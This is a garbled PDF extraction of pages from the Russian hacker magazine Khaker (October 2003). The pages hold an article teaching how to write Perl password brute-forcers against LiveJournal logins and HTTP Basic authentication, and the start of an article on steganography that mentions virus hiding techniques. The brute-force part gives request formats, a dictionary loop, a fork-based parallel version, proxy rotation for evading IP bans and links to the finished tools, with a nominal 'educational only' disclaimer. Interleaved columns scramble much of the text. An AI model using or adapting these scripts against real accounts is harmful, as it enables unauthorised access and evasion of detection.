Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
19.07 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

нашем случае. Что мы имеем? Название полей

Дело в том, что в однопоточном режиме в каждом

 

 

p

 

-x cha

 

 

 

 

 

 

df

 

e

 

 

 

 

df

 

e

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

формы (user и password), страницу, куда передают-

проходе цикла создание сокета происходит всего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ся данные, и метод передачи (POST).

один раз. Но что нам мешает наплодить 10 парал-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лельных запросов в одном цикле, а затем за один

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Попробуем послать POST-запрос. Телнетимся на

раз обработать все ответы? В результате получаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

80 порт www.livejournal.com и пишем следующее:

скрипт, который буквально за несколько минут

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сможет перебрать полумегабайтный словарь. Реа-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

POST /login.bml HTTP/1.0

лизовать алгоритм нам поможет перловая функция

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Host: www.livejournal.com

fork(), о прелестях которой я уже не раз писал.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Content-Type: application/x-www-form-urlencoded

Несложная модификация кода быстро превращает

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Content-Length: 24

 

наш скрипт в реактивный переборщик ;).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Äâà ðàçà Enter

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

user=petya&password=1234&

Переборщик с тредами

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В ответе видим пагу, которая сообщает, что поль-

while($pass=<file>) { # По каждому слову в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зователь petya успешно залогинился на сервер

файле

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(разумеется, у нас была заранее подготовлена ра-

chomp($pass); # Обрезаем символ \n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бочая учетная запись).

 

push(@threads,$pass); # И заносим его в от-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дельный массив

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if (scalar @threads eq $threads-1) {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for ($j=0;$j<=$threads-1;$j++) {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if ($pid=fork()) { # Делаем fork()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

push(@forked, $pid);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

} else {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

crack($threads[$j]); # Переходим на про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

цедуру crack

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

exit; # Завершаем подпроцесс

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

killall(); # Убиваем все порожденные про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Проверка POST-запроса

цессы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КОДИНГ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если запустить модифицированный брутфорсер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь, когда мы располагаем полной информаци-

(ljbrut2.pl), то итоговое время перебора паролей

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ей о форме, ее структуре и методе, можем начи-

уменьшится в несколько раз по сравнению с пер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нать кодить. Дополнительно замечу: чтобы узнать

вой программой. Это объясняется тем, что проис-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

результат перебора, совсем не обязательно грузить

ходит не последовательный перебор, а порожде-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всю страницу-ответ. Достаточно послать HEAD-зап-

ние нескольких независимых подпроцессов, каж-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рос, и при верном пароле скрипт создаст кукиз, в

дый из которых соединяется с удаленным серве-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

котором будет находиться имя пользователя.

ром. Переменная $threads, определяющая макси-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мальное количество потоков, задается пользовате-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Следующая конструкция кода реализует чтение па-

лем из командной строки либо может быть изме-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ролей из словаря и последовательный их перебор.

нена в начале скрипта.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Этот кусок кода, как и все программы из этой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

статьи, написан на Perl'е:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Последовательный алгоритм переборщика

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

open(file, "$words") || die print "$!\n";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

while($pass=<file>) { # По каждому слову в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файле

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

chomp($pass);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

crack($pass); # Переходим на процедуру

Уменьшаем время работы переборщика

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

crack()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

в несколько раз!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

close (file);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БЕЗОПАСНОСТЬ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Я не зря акцентировал твое внимание на недостат-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ках этого метода. Если админ обнаружит несколько

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тысяч одинаковых соединений в логах с твоего ад-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Брутфорсер запускается... и работает!

реса, то он просто забанит твой ip. Но я не гово-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рил, что при этом невозможно его защитить. Са-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После реализации этого несложного алгоритма, мы

мый рабочий вариант - использовать подготовлен-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

получаем работоспособный брутфорсер. Полноцен-

ный листинг рабочих прокси-серверов (найти их ты

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ный вариант программы ты можешь найти под наз-

можешь, например, на http://proxycheck.spylog.ru).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ванием ljbrut1.pl на CD либо в архиве (ссылку на ар-

Для нашей безопасности просто возьмем случай-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

хив смотри во врезке). Работает все стабильно, но

ный прокси из листа, через который законнек-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крайне медленно. Поэтому теперь займемся усовер-

тимся на ливжурнал. Если проксик дохлый -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шенствованием нашего кода с применением потоков.

повторим операцию и заменим его на рабо-

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Взлом

6 Юниксоид 7 Кодинг

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

P

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

<Page 060>

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Взлом

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХАКЕР\¹58\Октябрь\2003

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

БРУТФОРС: ПОЛЕЗНАЯ ПРАКТИКА

 

 

 

 

 

 

 

 

 

 

 

 

 

Сливаем софт

 

 

 

 

 

 

Докучаев Дмитрий aka Forb (forb@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Набор рабочих брутфорсеров

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

надо написать небольшой брутфорсер. Ес-

 

 

 

 

 

 

 

 

Вариант кода для работы с proxy-серверами

 

 

ты можешь найти на нашем

 

 

 

 

 

 

тественно, алгоритм его работы будет

 

 

 

 

 

 

 

 

 

 

CD, сайте (в X-релизах), а так-

 

 

 

 

 

 

if ($opt_p) { # Если есть опция -p командной

слегка отличаться от вышеописанного.

 

 

 

 

 

 

 

 

 

 

же на моей странице в архиве

 

 

 

 

строки

 

 

 

 

 

 

 

 

 

 

 

 

http://kamensk.net.ru/forb/1/x/b

 

 

 

 

 

 

open(proxy, $proxylist) || die "cant find prox-

Если просмотреть трафик между клиентом

 

 

 

 

 

 

 

 

 

 

ruteforcers.tar.gz.

 

 

 

 

 

 

ylist\n";

и сервером, то в случае запроса директо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

@proxies=<proxy>; # Считываем прокси из

рии, защищенной паролем, в ответе от

 

 

В нем находятся 4 файла:

 

 

 

 

файла

сервера будет видна ошибка 401

 

 

 

 

 

 

 

 

close (proxy); # И закрываем

(Unauthorized). А среди строк заголовка об-

 

 

ljbrut1.pl - последователь-

 

 

 

 

}

наружится следующая запись:

 

 

ный брутфорс ЖЖ-аккаунтов.

 

 

 

 

 

 

sub crack {

WWW-Authenticate: Basic

 

 

ljbrut2.pl - параллельный

 

 

 

 

 

 

 

 

брутфорс ЖЖ-аккаунтов (без

 

 

 

 

 

 

my $pass=shift; # Выцепляем параметр $pass

realm="Secret zone"

 

 

 

 

 

 

 

 

 

 

поддержки proxy).

 

 

 

 

 

 

($server, $port)=split(':',$proxies[rand(int(scalar

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ljbrut3.pl - параллельный

 

 

 

 

 

 

@proxies))])

После того, как это случится, браузер ав-

 

 

 

 

 

 

 

 

 

 

брутфорс ЖЖ-аккаунтов (с

 

 

 

 

 

 

if ($opt_p); # Берем рандомную строку из

томатически запросит логин и пароль, ко-

 

 

 

 

 

 

 

 

 

 

поддержкой proxy).

 

 

 

 

 

 

массива @proxies

торые будут закодированы в MIME-хеш.

 

 

 

 

 

 

 

 

 

 

base.pl - последовательный

 

 

 

 

 

 

$socket=IO::Socket::INET->new(PeerAddr =>

Затем в стандартный заголовок запроса

 

 

 

 

 

 

 

 

$server,

добавится строка, подобная этой:

 

 

брутфорс для Web-авторизации.

 

 

 

 

 

 

PeerPort => $port,

 

 

 

 

 

 

 

 

 

 

 

Proto => tcp)

Authorization: Basic MjIyOjExMQ==

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

or crack($pass);

 

 

 

 

 

 

 

 

 

 

 

# Создаем соединение с livejournal.com

Сервер проверит правильность пароля, и,

 

 

 

 

 

 

# либо рекурсивно вызываем процедуру

если все в порядке, пропустит клиента к секретной

лизовать, то получим следующий код:

 

 

 

 

...

зоне. В противном случае, если результат не изме-

После небольшой модификации crack() (добавления

 

 

 

 

}

 

 

 

 

одной строки в заголовок запроса и анализа ответа)

 

 

 

 

 

 

 

 

 

 

 

брутфорс заработал как надо. Теперь, думаю, ты

 

 

 

 

 

 

 

 

 

 

 

без проблем сможешь сам переделать брутфорсер

 

 

 

 

тоспособный.

 

 

 

 

под работу в многопотоковом режиме.

 

 

 

 

 

 

Теперь можно с уверенностью сказать, что брут-

 

 

 

 

 

 

 

 

 

 

 

форс будет работать быстро и безопасно. По край-

 

 

 

 

 

 

 

 

 

 

 

ней мере, если не злоупотреблять им. Ведь прок-

 

 

 

 

 

 

 

 

 

 

 

си-сервера тоже могут писать логи...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Организуем обмен данными между

 

 

 

 

 

 

 

 

 

 

сервером и клиентом

 

 

 

 

 

 

 

 

 

 

 

 

Бета-тестирование переборщика base.pl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нится, то апач вернет ошибку 401.

 

 

 

 

 

 

 

 

Реализовать брутфорсер, работающий по такому ал-

 

 

 

 

 

 

 

 

горитму, совсем несложно. Достаточно подключить

МОРАЛЬ СЕЙ БАСНИ

 

 

 

 

 

 

 

перловый модуль Base64.pm (идет в поставке с пер-

Надеюсь, что предложенные мной алгоритмы и спо-

 

 

 

 

 

 

 

лом по умолчанию). В этом модуле существует функ-

 

 

 

 

 

 

 

ция encode_base64(). Она возвращает тот самый хеш,

собы их реализации не показались тебе скучными,

 

 

 

 

 

 

 

про который я говорил выше. Остается разобраться,

а, наоборот, научили тебя писать хорошие перебор-

 

 

 

 

 

 

Так создаются шедевры ;)

 

 

 

 

 

 

по какому принципу генерируется MIME-запись. На

щики паролей. Помни, что материал дан только в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

самом деле, все просто: достаточно передать функ-

ознакомительных целях, и вся ответственность по

 

 

 

 

 

 

MIME-КОДИРОВАНИЕ: ПОДБОР ПАРОЛЕЙ

ции аргумент вида "login:password", и в результате ко-

его использованию ложится на тебя. При возникно-

 

 

 

 

 

 

К WEB-АВТОРИЗАЦИИ

дирования мы получим нужный хеш. Если все это реа-

вении вопросов по организации и работе брутфор-

 

 

 

 

 

 

Если уж мы заговорили о Web-брутфорсах, то сле-

 

MIME-кодирование

 

 

 

 

 

 

 

дует упомянуть и о стандартных методах авториза-

 

 

 

 

 

 

 

 

 

 

 

ции. Ты наверняка сталкивался с небольшим око-

 

open(words, $wordlist);

 

 

 

 

 

 

 

шечком в браузере, в котором запрашивалось имя

 

while($pass=<words>) { # Перебираем каждую

 

 

 

 

 

 

 

пользователя и пароль. Это могла быть как страни-

строку

 

 

 

 

 

 

 

 

 

ца статистики, так и обычная авторизация на squid-

 

chomp($pass);

 

 

 

 

 

 

 

прокси сервер. Когда известно имя пользователя,

 

$hash=encode_base64("$login:$pass"); # Êîäè-

 

 

 

 

 

 

 

пароль можно попробовать перебрать. Для этого

 

ðóåì login/password

 

 

 

 

 

 

 

 

 

$status=crack($hash); # Переходим на crack()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Дополнения к коду

В каждом брутфорсере я использую модуль Getopt::Std, который помогает удобно парсить командную строку, передаваемую скрипту. После функции getopt(), параметрами которой являются буквы-опции командной строки, объявляются переменные $opt_опция. В ней содержится значение того или иного аргумента командной строки. Я давал подробные комментарии в коде, чтобы ты легко ориентировался среди этих опций.

60 Ньюсы 1 Феррум 2 Inside

3 PC_Zone 4 Implant

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

P

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

<Page 062>

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Взлом

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХАКЕР\¹58\Октябрь\2003

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ШПИОНСКАЯ КОМПЬЮТЕРНАЯ ТАЙНОПИСЬ Никита Кислицин (nikitoz@real.xakep.ru)

Шпионская0100111010111001010011001110001001001110101110010100110011100010 компьютерная тайнопись

КОМПЬЮТЕРНАЯ СТЕГАНОГРАФИЯ

0100111010111001010011001110001001001110101110010100110011

100010

Криптография в защите информации всегда играла важнейшую роль. С ростом вычисли- тельных способностей компьютеров требовались все более изощренные алгоритмы

криптования данных: на смену DES, RC2 и MDC пришли triple-DES, IDEA, HWY1, Blowfish, RC5 и т.д. Но даже самый совершенный алгоритм неспособен защитить информацию на 100% - тут-то на помощь и приходит стеганография.

Слово "стеганография" пришло в русский язык из латинского: "Steganos" - "тайный", "Grapho" - "пишу". Т.е. дословно получается "тайнопись". Основная идея стеганографии заключается в том, чтобы скрыть не только саму информацию, но и факт ее передачи, замаскировав ценные данные в какую-нибудь обыденную форму. В самых примитивных случаях может быть использовано несколько подходов. Один из них - использование "невидимых" носителей, которые в обычных условиях незаметны, а проявляются лишь в определенных случаях. Например, молоко, фенолфталеин, моча и т.д. :).

КОМПЬЮТЕРНАЯ СТЕГАНОГРАФИЯ

Под компьютерной стеганографией понимается сокрытие одной цифровой информации в другой. Причем сокрытие это должно реализовываться таким образом, чтобы, во-первых, не были утрачены свойства и некоторая ценность скрываемой информации, а вовторых, неизбежная модификация информационного носителя не только не уничтожала смысловые функции, но и на определенном уровне абстракции даже не меняла их.

Так, например, если в цветной картинке модифицировать некоторым образом младший разряд 24-битного числа, описывающего один пиксел, это приведет к незначительному изменению оттенка картинки, которое нормальный человек вообще не заметит. Или, скажем, если модифицировать младшие разряды звуковых отсчетов, несущих очень мало полезной информации, то при прослушивании подобного файла человек не услышит изменений. Именно на этой избыточ- ности информации в представлении некоторых цифровых форматов и основывается существенная часть методов сокрытия данных.

Компьютерная стеганография широко используется при обмене секретными сообщениями, написании вирусных программ (см. ст. 273 УК РФ), в защите авторских прав, для скрытия информации от копирования и т.д.

Ниже мы более подробно обсудим все эти сферы применения стеганографии, рассмотрим основные приемы сокрытия информации и даже напишем программу на Perl, которая прячет информацию в обыч- ном текстовом файле! Следует также заметить, что написанный текст не следует расценивать как пособие для юных шпионов, это всего лишь познавательный экскурс в мир стеганографии.

ПРЯЧЕМСЯ В СИСТЕМНЫХ СТРУКТУРАХ

Специфика файловых систем такова, что при хранении файл всегда занимает целое число блоков - это сделано из соображений удобства адресации. Из-за этого хранение маленьких файлов реализуется крайне нерационально - в системе Fat32 файл размером 1 байт занимает на диске 4 Кб! При этом очевидно, что все 4 Кб, за вычетом 1 байта, забиты мусором и никак не используются. А ведь могут быть заняты полезными данными! Такой метод широко используется для долговременного скрытого хранения небольших объемов информации - однако он довольно легко обнаруживается и крайне небезопасен. Также существует возможность записи данных просто на неиспользуемые области накопителей (например, нулевую дорожку).

Можно прятать данные и в исполняемых файлах. Дело в том, что в Windows исполняемые файлы представлены в формате PE (Portable Executable), который подразумевает наличие в exe'шнике не только исполняемого кода, но и множества другой информации. Это пиктограммы, различные системные данные, информация об импортируемых и экспортируемых функциях и т.д. Причем для хранения всех этих объектов файл PE разбивается на ряд секций, имеющих фиксированный размер, при этом каждый объект начинается с новой секции. Даже ежу ясно, что некоторые данные могут не занимать всего выделенного места. Так образуются пустоты, в которых опять-таки можно размещать собственные данные. Эту идею использует знамени-

тый вирус WinCIH, который прячется как раз в исполняемых файлах. Другой, менее известный, вирус W32/Perrun прятался в графических файлах формата jpg. Причем автор не стал заморачиваться, а просто дописывал тело вируса в конец картинки.

Как это реализовывается. Отдельно написана маленькая программка, которая осуществляет поиск вредоносного кода, хранящегося в другом месте. Она его обнаруживает, вытаскивает и запускает.

МУЛЬТИМЕДИА НА ПОДМОГЕ

Многие мультимедийные форматы имеют поля расширения, которые могут заполняться пользовательской информацией, а могут быть забиты нулями - в последнем случае их также можно использовать для хранения и даже передачи информации. Однако этот наивный способ не только не обеспечивает требуемого уровня секретности, он еще и не может прятать

Маленькие файлы при хранении могут занимать в тысячи раз больше места, чем для них действительно требуется!

 

 

1

 

2

 

3

 

4

 

62

Ньюсы

Феррум

Inside

PC_Zone

Implant

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

 

o

 

 

 

 

D

063>

 

 

 

 

o

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

o

 

 

 

 

w Click

 

 

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

